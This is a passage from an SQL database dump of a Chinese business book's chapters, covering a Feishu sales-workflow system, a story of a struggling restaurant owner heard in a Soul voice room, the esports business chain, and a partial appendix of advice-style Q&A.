线下约见率曲线。\n\n两条曲线稳定,成交就稳定。\n\n我们每周都会看这两条曲线,然后调整下周的动作。\n\n---\n\n派对房里有人问:\"目标人群是谁?\"\n\n我说:\"带着明确问题的人。\"\n\n不是\"想听故事的人\"。\n\n是\"想拿路的人\"。\n\n如果你是这样的人,欢迎来派对房。\n\n我们不保证能解决所有问题,但我们保证认真听、认真给建议。\n\n---\n\n**生意逻辑只有一句话:**\n\n\"把\'当下可用的路\'做成\'可兑现的承诺\'。\"\n\n清单要给到手,线下的提示说人话、说时间,飞书里把承诺的兑现率亮出来。\n\n这就是我们的做法。\n\n不复杂,但有效。\n\n---\n\n**核心是什么?**\n\n分轨与承诺。\n\n分轨是把问题分到\"现金流/供应链/内容/健康/关系\"。\n\n承诺是\"评论拿清单/加微信进群/飞书节点按时\"。\n\n我们的团队会帮你跟进,确保每一个承诺都能兑现。\n\n---\n\n两周后,我们复盘了一次。\n\n最快的不是\"打折\"。\n\n最快的是\"给路并兑现\"。\n\n我们不晒\"营收\"。\n\n我们看\"承诺兑现率与线下约见率\"。\n\n这两个指标稳定,成交就稳定。\n\n---\n\n**派对房路径清单:**\n\n1. 目标人群:带明确问题、想拿路的人。\n\n2. 生意逻辑:当下清单+线下提示+中台承诺,把\"路\"变成\"成交\"。\n\n3. 核心:分轨与承诺,问题分轨、承诺可兑现与可见。\n\n4. 进群:评论拿清单→加微信→进对应群→联系管理与当下动作链接。\n\n5. 复盘:看承诺兑现率与约见率,每周升级清单与提示话术。\n\n如果你也想建立这样的成交场景,不管是线上还是线下,都可以来聊。\n\n我们有一套完整的方法论,可以帮你快速上手。\n', 1520, 0, 1.00, 51, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.036', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (60, '9.7', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '飞书中台:从聊天到成交的流程化体系', '# 9.7 飞书中台:从聊天到成交的流程化体系\n\n确定性不是口号,是节点与质检的日常。\n\n2025年11月10日,周一,早上8点15分。\n\n那天聊到了运营体系,一个做私域运营的小伙子上麦,声音里带着困惑。\n\n他说:\"我们聊天很多,成交不稳,你们的中台到底怎么做的?\"\n\n我没有问\"你们每个月营收多少\"。\n\n我问:\"你们每个月愿意为\'确定与可追踪\'付多少?\"\n\n他说:\"只要稳。\"\n\n我说:\"那我们从头梳理一遍。\"\n\n---\n\n在真实聊天里,我们把飞书中台定义为\"从聊天到成交的确定性系统\"。\n\n不是\"一个软件\"。\n\n是\"表单→工单→节点SLA→复盘→质检\"的流程化体系。\n\n这套体系,我们在自己的项目里跑了大半年,效果很稳定。\n\n---\n\n**节点怎么定义?写清三件:**\n\n- 触发条件:什么时候算\"进来\"——加微信/登记/预约;\n- 时间与责任:谁做、几点做、做到什么程度;\n- 验收标准:谁看、看什么、在哪个时间看。\n\n每个节点都要能验、能追、能复盘。\n\n这是我们帮很多团队做咨询时,第一个要解决的问题。\n\n---\n\n**抽检怎么做?一周50条,只看三件:**\n\n- 是否按时:响应/处理/跟进的SLA时间是否到位;\n- 是否到位:动作是否完成、资料是否齐全;\n- 是否回写:看板是否回填、改法是否写清。\n\n不过线的节点,强制人工接管,下周再抽检。\n\n---\n\n**异常升级怎么走?写成\"接管单\":**\n\n- 谁接:指定接管人;\n- 何时接:立刻/2小时/24小时;\n- 怎么接:三步法(先止损→再补做→最后回写);\n- 接完怎么验:谁验、什么时候验、怎么记。\n\n升级不走空话,只走单据。\n\n这套流程,我们可以帮你搭建,也可以帮你培训团队。\n\n---\n\n**曲线怎么报?四张就够:**\n\n- 按时率曲线(SLA);\n- 兑现率曲线(承诺);\n- 约见率曲线(线下);\n- 复购率曲线(留存)。\n\n每周出报,每月复盘\"最拖延的段\"。\n\n看曲线,才能知道问题在哪里。\n\n---\n\n**真实案例A(时间:早上8:30):**\n\n团队聊天多、成交少。我们做了三件:\n\n1) 把\"评论拿清单→加微信→进群\"的入口做成表单;\n2) 把\"线下约见\"的提示改成三句法;\n3) 把\"异常升级\"改成接管单。\n\n两周后,按时率到86%,兑现率到81%,约见率到33%。\n\n他后来说:\"这套东西我们自己摸索可能要半年,你们两周就帮我们跑通了。\"\n\n---\n\n**真实案例B(时间:早上8:50):**\n\n抽检发现\"回填缺失\"。我们把\"回填\"写成三条:谁填、什么时候填、填哪些字段。\n\n未回填的工单一律不结案,当周强制补填。\n\n一个月后,看板完整度到97%。\n\n---\n\n**权限怎么控?**\n\n- 录入权限给一线;\n- 结案权限给组长;\n- 改法权限给质检;\n- 报表权限给负责人。\n\n谁能改、改什么、怎么留痕,都写进中台。\n\n这套权限设计,是我们在多个项目里踩坑总结出来的。\n\n---\n\n**培训怎么落地?只讲\"要点+跑一次\"。**\n\n- 要点:节点写法、抽检规则、接管单、四条曲线;\n- 跑一次:每个岗位跑一条工单,自己做、同伴看、质检再看,最后回填\"做到了没\"。\n\n第二天复盘,不合格补练,合格才上线。\n\n如果你的团队需要这样的培训,可以联系我们。\n\n---\n\n派对房里有人问:\"目标人群是谁?\"\n\n我说:\"想把\'聊天\'变成\'成交\'的团队。\"\n\n不是\"想要软件的人\"。\n\n是\"想要确定性的人\"。\n\n---\n\n**我们的生意逻辑只有一句话:**\n\n\"把\'承诺\'做成\'节点与曲线\'。\"\n\n用看板与质检,让每一个承诺都有\"兑现率与时间\"。\n\n这就是我们能提供的价值。\n\n---\n\n**核心是什么?**\n\n节点与质检。\n\n节点是SLA。\n\n质检是抽检与复盘。\n\nAI代聊只做轻动作,专业的人做重交付,中台把\"确定性\"拉起来。\n\n---\n\n两个月后,我们复盘了一次。\n\n按时率与兑现率稳定在高位,线下约见率与复购率都提升。\n\n我们不晒\"营收\"。\n\n我们看\"节点曲线与兑现曲线\"。\n\n---\n\n**中台路径清单:**\n\n1. 目标人群:想把聊天变成成交的团队。\n\n2. 生意逻辑:把承诺做成节点与曲线,用看板与质检追踪。\n\n3. 核心:节点SLA与质检抽检,AI轻动作、专业重交付。\n\n4. 进群:评论拿中台清单→加微信→进中台群→联系管理与看板链接。\n\n5. 复盘:看按时率/兑现率/约见率/复购率,每月升级流程与质检点。\n\n这套中台体系,我们可以帮你从0搭建,也可以帮你优化现有流程。\n\n不管你是做电商、私域、还是线下服务,底层逻辑都是一样的。\n', 1700, 0, 1.00, 52, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.048', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (61, '9.8', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '餐饮女孩:6万营收、1万利润的死撑生意', '# 9.8 餐饮女孩:6万营收、1万利润的死撑生意\n\n\"有时候,最累的不是干活,是不知道为什么干。\"\n\n2025年11月12日,周三,早上6点08分。\n\n我打了个招呼。\n\n\"Hello。\"\n\n房间的人数慢慢往上蹭。\n\n从一两个头像,到一排排头像。\n\n按惯例先抛个钩。\n\n\"欢迎新进来的。\"\n\n这次主题还是围绕\"怎么搞钱\"。\n\n谁要分享项目、想交流、或者单纯来上麦聊天都行。\n\n只要敢说,只要是真事。\n\n---\n\n## 一、三号麦:一天三万的山里生意\n\n第一个主动开口的是三号麦。\n\n他声音刚连上时还有点卡。\n\n\"我今天5点半就起来了。\"\n\n我顺嘴问:\"起来做啥?\"\n\n他憨憨地笑着说:\"今天一天预计可以赚三千多块钱。\"\n\n大家一下精神了。\n\n\"怎么赚的3000块?\"\n\n他慢慢铺开自己的生意。\n\n他现在开着一辆四驱重载货车,后面拖着一台挖机。\n\n平时接的是伐木、运木头的活。\n\n现在是淡季。\n\n\"要是有活的话,一天挣两三万都没问题。\"\n\n\"上个月平均每天都有3万多块钱。\"\n\n这一句丢出来,评论区炸了。\n\n有人酸,有人羡慕,有人开始问细节。\n\n\"累不累?\"\n\n他想都没想:\"那累啥嘞?都是机械出力,又不是人出力。\"\n\n他讲他怎么接活。\n\n抖音上有账号,微信上有账号,还有一堆老关系。\n\n再加上自己还有一个木材加工厂。\n\n他不止在林子里搞钱。\n\n最挣钱的其实是另外一个项目——\"打一网鱼\"。\n\n河两边各站一台挖机,挖机上有5吨的绞盘,一根150米的钢丝绳,拖着大网从河里一拉。\n\n那条河叫倒水河,就在他家门口。\n\n\"今年我都送了1000多斤鱼出去了。\"\n\n送给河道管理站的人,还有林业,还有水利局。\n\n公共资源,谁搞起来就是谁的。\n\n我一边听,一边在心里算他的\"生意逻辑\"。\n\n他的目标人群不是普通消费者,而是手里有山、有河、有证的人。\n\n他的核心不在机器本身,而是那条别人摸不到的\"关系网\"和\"资源网\"。\n\n你听上去是\"体力活\",但本质是资源活。\n\n---\n\n## 二、四号麦:一单50万的旅游购物团\n\n三号麦讲完,四号麦接棒。\n\n她是做导游的。\n\n\"旅游行业最旺季的时候,肯定是5月份。\"\n\n她从大学开始就是学旅游管理,毕业后一直没换行。\n\n她说旅游行业有自己的一套\"灰色收入\"。\n\n购物店,老年团。\n\n\"现在旅游的主力军95%都是退休的、有钱的这种。\"\n\n她很坦白。\n\n\"哪怕是这几年被曝光得这么狠,但是还是有人要搞,为什么?那还是因为这确实太挣钱了。\"\n\n她说自己最赚钱的一次是在云南。\n\n\"基本上一个团下来,整体购物打出来的货,大概是在50万左右。\"\n\n导游这边,\"基本上就是10个点\"。\n\n那就是5万。\n\n\"那一次反正就是人生,基本上就没见过那么多钱,就一天之内。\"\n\n钱来的速度比情绪还快。\n\n\"前一秒客人在前面消费,后一秒后门出来就把钱给你了。\"\n\n她形容那一刻的感受。\n\n\"当时才24,就觉得不可能,就害怕,就心里就是恐慌。\"\n\n\"但是你可能放在现在,就可能,我拿个包包装起来,现在就这种感觉。\"\n\n她反复提到一个词:\"情绪价值。\"\n\n老头老太太出来旅游,要的不是风景。\n\n\"风景拿个手机、拿个电脑都能看到。\"\n\n\"要的就是心情舒服。\"\n\n购物团的逻辑很清晰。\n\n目标人群是有时间、有钱、需要被哄的老人。\n\n生意逻辑是用情绪价值换购物额度。\n\n她的核心竞争力不只是线路熟,而是那个\"恩威并施\"。\n\n该哄的哄,该吓的吓。\n\n既不能把客人逼急了,又不能被客人牵着鼻子走。\n\n说难听点,是把\"人性\"和\"消费欲望\"吃得很透。\n\n她最后说了一句:\"旅游行业最重要的还是你本身要热爱,因为你本身如果对这个东西没有激情,你是给不了别人情绪价值。\"\n\n这句话,很快会在后面那个餐饮女孩身上,对出一整面镜子。\n\n---\n\n## 三、五号麦:三年小店、六万营收、一万利润\n\n轮到五号麦说话的时候,她开口的第一句话就带着疲惫。\n\n\"就是有点迷茫,然后也不知道跟谁说。\"\n\n她说自己本来只是想\"打个错了\",误打误撞进了房间。\n\n\"正好看到你们在聊这个,然后就进来听一眼。\"\n\n我让她讲讲自己的情况。\n\n\"我是做餐饮的,开店的。\"\n\n\"店开了三年。\"\n\n\"最近就挺迷茫的,想转行,又有点舍不得这个店。\"\n\n现在是冬天,客流变少。\n\n人工成本压着她。\n\n\"每个月人工工资大概是1万8左右。\"\n\n淡季营收。\n\n\"现在淡季的话应该是在6万左右。\"\n\n\"一天勾到人民币也就2000左右。\"\n\n店不大,冬天店里位置少,夏天会摆大排档。\n\n刚开的时候生意很好,三年下来也积累了一批老顾客。\n\n但她重复最多的一句话是:\"压力特别大。\"\n\n\"就所有人都觉得说你这店得可挣钱的了,其实赚不赚钱我自己心里知道。\"\n\n我让她把开支拆出来。\n\n她算得很清楚。\n\n\"单人工开支一月是18000。\"\n\n\"房租一个月3000。\"\n\n\"水电费大约在1500左右。\"\n\n我问她:\"你现在最想做的事情是什么?\"\n\n她说自己一直在\"关和开之间纠结\"。\n\n马上要过年了,她知道餐饮要到旺季。\n\n\"但是你旺季之前你可以选择给他出兑。\"\n\n她在北方,\"想去南方看一下,因为都说南方发展比较好。\"\n\n她以为换个城市,生意问题就能解决一半。\n\n可她自己也知道,到了南方,房租、人工、货源,一切都要从头来。\n\n她给自己总结了一句:\"你人生地不熟的,房租、水电人工货源你什么都不了解,你只知道听别人嘴里边说南方比较好赚钱。\"\n\n---\n 四、一个人扛完前厅后厨供应链\n\n我问她有什么优势。\n\n她没有立刻讲菜品,而是讲\"我能干多少活\"。\n\n\"我自己开店做生意,从前屋到后厨到进货渠道任何东西都可以自己上手干。\"\n\n这是她最骄傲的地方。\n\n也是她最累的地方。\n\n\"唯一的缺点就是我只有一个人。\"\n\n\"家里人也帮不上忙,身边的朋友也帮不上忙。\"\n\n她说自己还没对象。\n\n\"没有男朋友,就是没有助理,你身后空无一人。\"\n\n她说员工上班时间是下午2点到凌晨1点。\n\n\"但是他们下班以后,我自己要在店里边加班。\"\n\n\"每天基本上都是这个点下班。\"\n\n\"从凌晨1点他们下班以后,我自己要在店工作到早上6点。\"\n\n这一串话一口气说出来,屏幕前的我都替她喘不过气。\n\n我半开玩笑地说:\"就感觉自己在给员工打工嘛。\"\n\n她接着往下补那种无力感。\n\n\"我就感觉我在给所有人打工。\"\n\n\"供货商也好,送货的也好。\"\n\n\"只要你店里边缺任何东西,一个螺丝钉你都要去花钱去买去。\"\n\n她讲起送货站的人。\n\n几块钱的货款。\n\n\"15块钱的货款,他能一早上给你打四五个电话。\"\n\n\"就是你现在立马给我转货款,我货给你送到了。\"\n\n对方不管她前一晚是不是忙到凌晨,也不管她是不是刚睡下。\n\n她已经很多次跟对方说\"找我下午醒了再打电话\"。\n\n但每次早上还是会被电话吵醒。\n\n---五、质量、毛利率和那1万块利润\n\n聊到产品的时候,她眼神明显是有光的。\n\n她说自己从开店那天起就咬死一件事:\"质量。\"\n\n\"质量其实严,这个餐饮这行吧质量水特别深。\"\n\n她举了个很具体的例子。\n\n\"比如说我们进一样货,这个货官价就是650。\"\n\n\"但是有很多说以次充好的,他进价也就是300块钱。\"\n\n同样一盘菜,一半的成本,一半的品质。\n\n她选择的是最贵、最好那一档。\n\n\"我每次进货的话,我只要最好的。\"\n\n\"所以说这三年来一直都这样,薄利,特别薄。\"\n\n她店里总共只有5款特色菜。\n\n不敢多做。\n\n\"第一店小,第二人少。\"\n\n\"这5款特色菜基本上没有一款是赚钱的。\"\n\n我问她:\"这样做下来,每个月利润率有多少?刨掉所有,到手还有多少?\"\n\n她想了想。\n\n\"1万左右。\"\n\n6万的淡季营收,净到自己手里是1万。\n\n这1万,是她每天睡4、5个小时,从下午忙到凌晨,又从凌晨忙到天亮换来的。\n\n她自己也承认:\"可能比打工赚得多一点,但是你要操很多很多的心。顾客、员工、供货商,就这几样就能给你整得心力交瘁的。\"\n\n这就是她目前的\"生意逻辑\"。\n\n用极致的个人牺牲,硬撑出一个勉强赚钱,但随时可能崩盘的门店。\n\n---\n\n## 六、员工、店长、合伙人和她的\"讨好型人格\"\n\n我问她:\"那些事情能分出去吗?\"\n\n她回答得很干脆:\"分不出去。\"\n\n她不是没试过找人,是试过,失败了。\n\n她说自己店里员工换得特别勤,特别奇葩。\n\n当地很多做餐饮的人,要么文化水平不高,要么就是特别缺钱。\n\n\"能干餐饮的人,好人干不了,不好人不稀得干,赖人干不了。\"\n\n师傅脾气都特别大。\n\n她对员工太好,对方就容易骑在她头上。\n\n她对员工硬一点,员工就会在暗处浪费店里的东西。\n\n她讲过一段最无奈的话:\n\n\"我希望他能把我不好意思说出口的事说出来,但是他每次说出那话特别伤人。\"\n\n之前雇店长,前三个月换了三个。\n\n她其实很清楚自己最大的bug是什么。\n\n\"我不会管理员工,我最大的毛病就是心软。\"\n\n\"比如说你看这块脏了,你想叫服务员来弄一下,但是你不好意思说出口。\"\n\n她说自己觉得自己是纯讨好型人格。\n\n\"我没测过MBTI,但是我觉得我就是纯讨好型人格。\"\n\n后面上来的六号麦、七号麦,都在劝她找一个真正懂管理的店长。\n\n用高薪挖一个,把钱交出去,让店长当\"黑脸\",她当\"白脸\"。\n\n有人说:\"你真正要做的就差一个真正懂管理的店长,你要记住,没有规矩不成方圆。\"\n\n也有人说:\"用高薪挖一个人来,给他一个星期的时间,你只和店长对接。\"\n\n但她心里明白。\n\n第一找不到人。\n\n第二没有信任的人。\n\n第三她不会管理。\n\n---\n\n## 七、情绪崩溃的那个晚上\n\n真正把她打醒的,不是账本上的数字,而是身体的警告。\n\n她讲前一天晚上的状态。\n\n\"昨天这个时候我下班了,就已经心跳加速了,头晕,恶心难受。\"\n\n\"知道自己身体已经到极限了。\"\n\n她连着熬了好几天,每天睡四、五个小时。\n\n员工请假,店里后半夜又特别忙,她一个人撑完全部。\n\n\"晚上下班的时候我还把钱弄丢了。\"\n\n那一刻她回家,外面很黑。\n\n\"搁车上不敢下来了。\"\n\n她看到前面有个人影,\"不知道他是正着走还是倒着走,瞅着也害怕。\"\n\n回到小区,坐电梯,上楼。\n\n她本来想去医院,\"走一半,想想又回家\"。\n\n回到家,她终于崩溃了。\n\n\"到家了就开始哭,就一直在嚎。\"\n\n哭完之后,\"感觉头也不疼了,心也不跳得那么快了\"。\n\n但是那口气憋在心里,没散。\n\n所以她今天早上进了这个房间。\n\n所以她愿意在几十个人面前,把自己这些最脆弱的东西说出来。\n\n---\n\n## 八、听完之后的那点建议\n\n听到这里,我很清楚一件事。\n\n她现在能勉强赚到每个月1万,不是因为她的\"店模式\"有多成功,而是因为她透支身体、透支情绪,把所有坑都用命填上了。\n\n我没有劝她马上关店,也没有劝她立刻南下。\n\n我只是提醒她几个现实。\n\n第一,现在整体经济下行,实体餐饮处在一个普遍下行的周期。\n\n\"南北也都差不多,南方也是一样的。\"\n\n我跟她讲厦门这边的例子。\n\n有一家做蛙的店叫老佛爷,最高的时候一个月营收120万。老板是东北人,靠着这第一家旗舰店在厦门买车买房,完成了原始积累,和后续的连锁加盟。\n\n昨天我路过的时候,店已经关门。\n\n还有一些开了二十几年的老牌餐饮,小时候经常去吃的,现在也纷纷关门。\n\n所以不是她一个人扛不住,而是整个餐饮的水位在下降。\n\n第二,我建议她,既然现在还有营收,先别急着做\"把店卖出去\"这种一次性决策。\n\n即便要转行,也最好在还在运营的时候慢慢试副业。\n\n先把时间拆出来,找到一个可复制的生意逻辑,而不是一拍脑袋换城市。\n\n第三,她现在最关键的卡点不是项目,也不是城市,而是人。\n\n包括她自己。\n\n\"你最困难的一定是找不到合适跟你性格匹配的人。\"\n\n如果找一个很强势的人当店长,店有可能慢慢变成别人的。\n\n如果找一个很弱的人当店长,需要她手把手教,她又会累死。\n\n要找到既懂管理,又能接住她情绪的人,确实难。\n\n\"找到这种合伙人其实比找老公还难。\"\n\n我顺嘴说了一个我自己公司的数据。\n\n\"我们去年面试了300个左右的研发人员,最后只留了6个。\"\n\n这是冷冰冰的数据,也是每个老板需要面对的现实。\n\n你想用一个结构,接住你现在靠身体硬撑的生意,本来就不容易。\n\n但不容易,不代表没有方向。\n\n---\n\n## 九、这场案例的意义\n\n那天早上,一个一天能挣三万的伐木、打鱼老板,一个一团能带来50万购物额、抽10%提成的导游,一个每月6万营收、到手1万的小餐饮老板,同时出现在一个清晨的语音房里。\n\n大家表面上在聊的都是\"怎么挣钱\"。\n\n底层却是三个完全不同的关键词。\n\n三号麦是\"资源\"。\n\n四号麦是\"情绪价值\"。\n\n五号麦是\"结构\",或者说,缺结构。\n\n在这一场里,与其说在帮他们,不如说帮我自己,一起把这些看似零碎的故事,捋成一条条清晰可见的脉络。\n\n如果你此刻也在做一个靠自己一个人死撑的生意,每天睡四、五个小时,觉得自己是在给员工、供货商、房东打工,也许可以把这场soul直播的内容当成一个镜子。\n\n先别急着做决定。\n\n先把这几个问题,悄悄写在自己的本子上。\n\n你的目标人群,到底是谁?\n\n你的生意逻辑,除了\"我很辛苦\"之外,还有什么?\n\n你真正的核心,是勤奋,还是那几道不赚钱的特色菜?\n\n你每个月营收多少,扣掉一切之后,留给你自己的,到底还有多少?\n\n如果有一天你也走进我的soul房间,愿意在麦上讲出这些真实的数字和情绪,那一刻,你已经不是一个人在死撑了。\n\n有时候,找到一群能听懂你的人,比找到一个好项目更重要。\n', 5005, 0, 1.00, 53, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.059', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (62, '9.9', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '电竞生态:从陪玩到签约到酒店的完整链条', '# 9.9 电竞生态:从陪玩到签约到酒店的完整链条\n\n\"月入两万的说自己累死了,年入几百万的说自己才刚起步。\"\n\n2025年11月28日,周五,早上6点22分。\n\n那天派对房聊到了电竞,气氛一下子热起来。\n\n有人做陪玩,有人做酒店,有人做账号交易。\n\n大家七嘴八舌,各说各的。\n\n我听完之后说了一句:\"电竞这个行业,外行看的是热血,内行看的是链条。\"\n\n---\n\n第一个上麦的是个做王者荣耀陪玩的小伙。\n\n他说:\"我月净利润1.8到2万。\"\n\n我问:\"规模多大?\"\n\n他说:\"不大,就我和几个兼职。\"\n\n他讲了自己的模式。\n\n客户付钱,他陪着打游戏。\n\n按小时收费,或者按局收费。\n\n王者荣耀一小时30到50块,高端一点的教练服务能收100以上。\n\n他自己接不了多少单,主要是分给兼职。\n\n客户给50,他给兼职30,他留20。\n\n一个月流水5到6万,净利润2万左右。\n\n---\n\n派对房里有人说:\"这不挺好的吗?\"\n\n他叹了口气。\n\n\"累啊。你要管客户,要管兼职,要处理投诉。\"\n\n\"有时候兼职打得不好,客户骂你,你还得赔礼道歉。\"\n\n\"而且这个生意没有壁垒,谁都能做。\"\n\n我说:\"陪玩这个赛道,天花板很低。整个市场一年不到50个亿。\"\n\n\"你想做大,很难。规模一大,管理成本就上去了。\"\n\n\"所以很多人做陪玩,做着做着就转型了。\"\n\n---\n\n我接着往下聊。\n\n\"陪玩是最底层的电竞生意。往上一层,是签约选手做私域。\"\n\n有人问:\"什么意思?\"\n\n我说:\"我们做的事情很简单。签约电竞明星,拿过全国冠军、世界冠军的电竞玩家。\"\n\n\"他们有粉丝,但不会变现。我们签约他们,把粉丝用系统囤到私域,做转化。\"\n\n有人问:\"怎么转化?\"\n\n我说:\"第一种,知识付费。选手开课教粉丝打游戏,199、299、499不同价位。\"\n\n\"第二种,游戏账号典当。你在游戏里充了几万块,账号值钱但你缺钱,抵押给我们。\"\n\n\"第三种,大健康产品。电竞选手最需要什么?颈椎病调理、肝脏保养。\"\n\n\"第四种,高净值文化产品。霜之哀伤复刻版,在我们粉丝群标价17万。\"\n\n---\n\n有人问:\"签约一个选手能赚多少?\"\n\n我说:\"头部选手粉丝几百万,运营好一年能做几百万营收。\"\n\n\"但选手不懂私域。我们提供整套服务:内容策划、粉丝运营、供应链、客服。\"\n\n\"选手配合公司的内容运营拍视频开直播就行,我们分成。\"\n\n这就是为什么同样是电竞,有人月入两万累得要死,有人年入几百万还说自己刚起步。\n\n位置不一样,赚的钱就不一样。\n\n---\n\n有人问:\"还有什么电竞生意?\"\n\n我说:\"电竞酒店。以前是网吧,现在是电竞馆、电竞酒店。\"\n\n有个在泉州开网吧的老板接话。\n\n他说他的网吧叫艾尔文,开了十几年了,现在生意不好做,想转型。\n\n\"以前网吧靠卖机时,现在大家都有手机有电脑,谁还来网吧?\"\n\n\"年轻人来网吧,不是为了上网,是为了氛围。\"\n\n\"所以现在网吧都在转型,做电竞酒店、做电竞主题包厢。\"\n\n我说:\"我们在泉州那边投了一些点。核心逻辑不是卖机时,是卖场景。\"\n\n\"你来电竞酒店,可以开黑、可以住宿、可以点餐、可以直播。我们赚的不是机时,是增值服务。\"\n\n---\n\n有人问:\"电竞酒店利润怎么样?\"\n\n我说:\"要看位置和运营。好的位置,一个包间一天能卖500到800。\"\n\n\"配合私域运营,把客户加进来,做复购和会员,利润能更高。\"\n\n---\n\n那天聊到快8点,有人在公屏打字:\"原来电竞这么多门道。\"\n\n我说:\"电竞不是一个点,是一条链。\"\n\n\"底层是陪玩,赚辛苦钱。\"\n\n\"中间是签约选手,赚私域钱。\"\n\n\"上层是电竞酒店,赚场景钱。\"\n\n\"你在哪一层,决定了你能赚多少钱。\"\n\n---\n\n我停了一下,把话说得更直。\n\n\"但不管在哪一层,核心都一样。\"\n\n\"第一,你要有流量入口。\"\n\n\"第二,你要有变现产品。\"\n\n\"第三,你要有运营团队。\"\n\n\"三者缺一不可。\"\n\n---\n\n有人问:\"我想进入电竞赛道,从哪里开始?\"\n\n我说:\"从你有的资源开始。\"\n\n\"你认识选手,就做签约。\"\n\n\"你有场地,就做电竞酒店。\"\n\n\"你什么都没有,就从陪玩开始,先赚第一桶金。\"\n\n\"不要想一步登天,先在链条里找一个位置站住。\"\n\n---\n\n后来有个做电竞的朋友私聊我。\n\n他问:\"你们这套东西能不能带我玩?\"\n\n我说:\"能,但你得先想清楚一件事。你是想赚快钱,还是想做长期?\"\n\n他说:\"长期。\"\n\n我说:\"那就对了。电竞这个行业,快钱好赚但不长久。真正能做大的,都是把链条打通的人。\"\n\n\"如果你想了解更多,可以先加到群里,看看我们怎么做的。有问题随时问,有合作机会随时聊。\"\n\n---\n\n做电竞这么多年,我最大的感受是什么?\n\n这个行业变化太快了。\n\n三年前火的东西,现在可能已经凉了。\n\n三年后火的东西,现在可能还没出现。\n\n但有一件事是不变的。\n\n谁能把流量、产品、运营这三件事做好,谁就能在这个行业里活下去。\n\n电竞如此,其他行业也是如此。\n\n有时候,找到一个能帮你理清链条的人,比找到一个好项目更重要。\n', 1896, 0, 1.00, 54, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.071', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (63, 'appendix-1', 'appendix', '附录', 'appendix', '附录', 'Soul派对房精选对话', '以下是从Soul派对房聊天记录中精选的一些对话片段,这些对话展现了派对房里真实的交流氛围和思想碰撞。\n\n如果你在正文中看到了感兴趣的案例,这里有更多类似的问答可以参考。\n\n---\n\n## 关于创业\n\n**问:** 我想创业,但不知道做什么,怎么办?\n\n**答:** 不知道做什么,就先别创业。先去打工,去不同的行业看看,找到你感兴趣的、擅长的、有市场的交叉点。创业\n\n不是逃避,是选择。\n\n---\n\n**问:** 创业需要多少钱?\n\n**答:** 这个问题问错了。不是你有多少钱决定你能不能创业,而是你想做什么决定你需要多少钱。有的生意几千块就能\n\n开始,有的生意几百万都不够。先想清楚做什么,再算需要多少钱。\n\n---\n\n**问:** 创业失败了怎么办?\n\n**答:** 失败了就复盘,看看为什么失败,学到什么教训。然后要么再来一次,要么换个方向。失败不可怕,可怕的是失\n\n败了不知道为什么,下次还会犯同样的错误。\n\n---\n\n**问:** 合伙人怎么找?\n\n**答:** 找合伙人比找老公还难。第一,能力要互补,你不会的他会。第二,价值观要一致,对钱、对事、对人的看法要\n\n差不多。第三,要能吵架,吵完还能继续合作的,才是好合伙人。\n\n---\n\n## 关于赚钱\n\n**问:** 怎么才能赚到钱?\n\n**答:** 赚钱的本质是解决问题。你能解决什么问题?这个问题有多少人有?能解决这个问题的人有多少?想清楚这三个\n\n问题,你就知道怎么赚钱了。\n\n---\n\n**问:** 为什么有的人赚钱很容易?\n\n**答:** 看起来容易,是因为你没看到他之前的积累。没有人是突然赚到钱的,都是长期积累的结果。你看到的是他赚钱\n\n的那一刻,没看到他之前付出的十年。\n\n---\n\n**问:** 副业做什么好?\n\n**答:** 副业最好跟你的主业相关,或者跟你的兴趣相关。这样你不用从零开始学,而且你有动力坚持。不要为了赚钱去\n\n做你不喜欢的副业,那样坚持不了多久。\n\n---\n\n**问:** 私域怎么做?\n\n**答:** 私域的本质是信任。你要先提供价值,让别人信任你,然后才能变现。很多人搞反了,一上来就想卖东西,结果\n\n把人都吓跑了。先给,后得。\n\n---\n\n## 关于人际关系\n\n**问:** 怎么判断一个人值不值得合作?\n\n**答:** 看三点。第一,他做过什么?不是他说过什么,是他做过什么。第二,别人怎么评价他?找他合作过的人问问。\n\n第三,你们的利益是否一致?利益一致才能长期合作。\n\n---\n\n**问:** 朋友找我借钱怎么办?\n\n**答:** 借出去的钱,就当送出去了。如果你送不起,就别借。借钱容易伤感情,不是因为钱,是因为期待。你期待他还,他可能还不上,然后你们的关系就变了。\n\n---\n\n**问:** 怎么拓展人脉?\n\n**答:** 人脉不是认识多少人,是多少人愿意帮你。想让别人愿意帮你,你得先能帮到别人。所以拓展人脉的最好方式,\n\n是提升自己的价值,让自己成为别人想认识的人。\n\n---\n\n## 关于个人成长\n\n**问:** 怎么提升自己?\n\n**答:** 三个方向。第一,学习,不断吸收新知识。第二,实践,把学到的东西用起来。第三,复盘,总结经验教训。学\n\n习、实践、复盘,循环往复,你就会不断进步。\n\n---\n\n**问:** 感觉自己很迷茫怎么办?\n\n**答:** 迷茫是正常的,说明你在思考。不要急着找到答案,先去尝试。试了才知道喜不喜欢,适不适合。迷茫的时候,\n\n行动比思考更重要。\n\n---\n\n**问:** 怎么找到自己的方向?\n\n**答:** 方向不是想出来的,是试出来的。你不试,永远不知道自己喜欢什么、擅长什么。去尝试不同的事情,慢慢你就\n\n会找到自己的方向。\n\n---\n\n## 关于生活\n\n**问:** 工作和生活怎么平衡?\n\n**答:** 没有完美的平衡,只有取舍。你想要什么,就要放弃什么。关键是想清楚你的优先级是什么,然后按照优先级来\n\n分配时间和精力。\n\n---\n\n**问:** 感觉压力很大怎么办?\n\n**答:** 压力大说明你在做有挑战的事情,这是好事。但如果压力大到影响健康,那就要调整。要么降低目标,要么寻求\n\n帮助,要么换个环境。健康是一切的基础。\n\n---\n\n**问:** 年龄大了还能创业吗?\n\n**答:** 